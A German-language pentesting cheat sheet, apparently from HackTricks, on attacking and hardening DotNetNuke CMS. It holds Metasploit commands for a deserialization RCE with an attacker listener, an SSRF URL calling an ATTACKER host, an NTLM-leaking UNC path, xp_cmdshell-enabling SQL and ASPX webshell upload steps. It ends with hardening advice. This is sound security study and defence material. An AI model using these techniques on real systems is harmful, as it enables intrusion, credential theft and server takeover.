96 lines
5.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# DotNetNuke (DNN)
{{#include ../../banners/hacktricks-training.md}}
## DotNetNuke (DNN)
Wenn Sie sich als **Administrator** in DNN anmelden, ist es einfach, **RCE** zu erhalten. In den letzten Jahren wurden jedoch eine Reihe von *unauthentifizierten* und *post-auth* Techniken veröffentlicht. Das folgende Cheat-Sheet sammelt die nützlichsten Primitiven für sowohl offensive als auch defensive Arbeiten.
---
## Versions- & Umgebungsenumeration
* Überprüfen Sie den *X-DNN* HTTP-Antwortheader er gibt normalerweise die genaue Plattformversion an.
* Der Installationsassistent gibt die Version in `/Install/Install.aspx?mode=install` preis (zugänglich bei sehr alten Installationen).
* `/API/PersonaBar/GetStatus` (9.x) gibt ein JSON-Blob zurück, das `"dnnVersion"` für Benutzer mit niedrigen Berechtigungen enthält.
* Typische Cookies, die Sie in einer Live-Instanz sehen werden:
* `.DOTNETNUKE` ASP.NET-Formularauthentifizierungsticket.
* `DNNPersonalization` enthält XML/serialisierte Benutzerdaten (alte Versionen siehe RCE unten).
---
## Unauthentifizierte Ausnutzung
### 1. Cookie-Deserialisierung RCE (CVE-2017-9822 & Folgemaßnahmen)
*Betroffene Versionen ≤ 9.3.0-RC*
`DNNPersonalization` wird bei jeder Anfrage deserialisiert, wenn der integrierte 404-Handler aktiviert ist. Durch manipuliertes XML kann daher zu beliebigen Gadget-Ketten und Codeausführung führen.
```
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
```
Das Modul wählt automatisch den richtigen Pfad für gepatchte, aber weiterhin anfällige Versionen (CVE-2018-15811/15812/18325/18326). Die Ausnutzung funktioniert **ohne Authentifizierung** bei 7.x9.1.x und mit einem *verifizierten* Konto mit niedrigen Rechten bei 9.2.x+.
### 2. Server-Side Request Forgery (CVE-2025-32372)
*Betroffene Versionen < 9.13.8 Patch veröffentlicht April 2025*
Ein Umgehen des älteren `DnnImageHandler`-Fixes ermöglicht es einem Angreifer, den Server zu zwingen, **willkürliche GET-Anfragen** auszugeben (semi-blind SSRF). Praktische Auswirkungen:
* Interner Port-Scan / Metadaten-Service-Entdeckung in Cloud-Bereitstellungen.
* Erreichen von Hosts, die sonst durch eine Firewall vom Internet getrennt sind.
Proof-of-Concept (ersetzen Sie `TARGET` & `ATTACKER`):
```
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
```
Die Anfrage wird im Hintergrund ausgelöst; überwachen Sie Ihren Listener auf Rückrufe.
### 3. NTLM-Hash-Exposition über UNC-Umleitung (CVE-2025-52488)
*Betroffene Versionen 6.0.0 9.x (< 10.0.1)*
Spezial angefertigte Inhalte können DNN dazu bringen, eine Ressource über einen **UNC-Pfad** wie `\\attacker\share\img.png` abzurufen. Windows führt bereitwillig die NTLM-Verhandlung durch und leakt die Serverkonto-Hashes an den Angreifer. Aktualisieren Sie auf **10.0.1** oder deaktivieren Sie ausgehendes SMB an der Firewall.
### 4. IP-Filter-Umgehung (CVE-2025-52487)
Wenn Administratoren auf *Host/IP-Filter* zum Schutz des Admin-Portals angewiesen sind, beachten Sie, dass Versionen vor **10.0.1** durch Manipulation von `X-Forwarded-For` in einem Reverse-Proxy-Szenario umgangen werden können.
---
## Post-Authentifizierung zu RCE
### Über SQL-Konsole
Unter **`Einstellungen → SQL`** ermöglicht ein integriertes Abfragefenster die Ausführung gegen die Site-Datenbank. Auf Microsoft SQL Server können Sie **`xp_cmdshell`** aktivieren und Befehle ausführen:
```sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
```
### Über ASPX-Webshell-Upload
1. Gehe zu **`Einstellungen → Sicherheit → Mehr → Weitere Sicherheitseinstellungen`**.
2. Füge `aspx` (oder `asp`) zu **Erlaubte Dateierweiterungen** hinzu und **speichere**.
3. Gehe zu **`/admin/file-management`** und lade `shell.aspx` hoch.
4. Rufe es auf unter **`/Portals/0/shell.aspx`**.
---
## Privilegieneskalation unter Windows
Sobald die Codeausführung als **IIS AppPool\<Site>** erreicht ist, gelten gängige Windows-Privilegieneskalationstechniken. Wenn die Box anfällig ist, kannst du Folgendes nutzen:
* **PrintSpoofer** / **SpoolFool**, um *SeImpersonatePrivilege* auszunutzen.
* **Juicy/Sharp Potatoes**, um *Service Accounts* zu umgehen.
---
## Empfehlungen zur Härtung (Blue Team)
* **Upgrade** auf mindestens **9.13.9** (behebt SSRF-Umgehung) oder vorzugsweise **10.0.1** (IP-Filter- & NTLM-Probleme).
* Entferne verbleibende **`InstallWizard.aspx*`**-Dateien nach der Installation.
* Deaktiviere ausgehenden SMB (Ports 445/139) Egress.
* Erzwinge starke *Host-Filter* am Edge-Proxy anstelle innerhalb von DNN.
* Blockiere den Zugriff auf `/API/RemoteContentProxy`, wenn nicht verwendet.
## Referenzen
* Metasploit `dnn_cookie_deserialization_rce` Modul-Dokumentation praktische Details zur nicht authentifizierten RCE (GitHub).
* GitHub-Sicherheitsberatung GHSA-3f7v-qx94-666m Informationen zur SSRF-Umgehung & Patch-Informationen von 2025.
{{#include ../../banners/hacktricks-training.md}}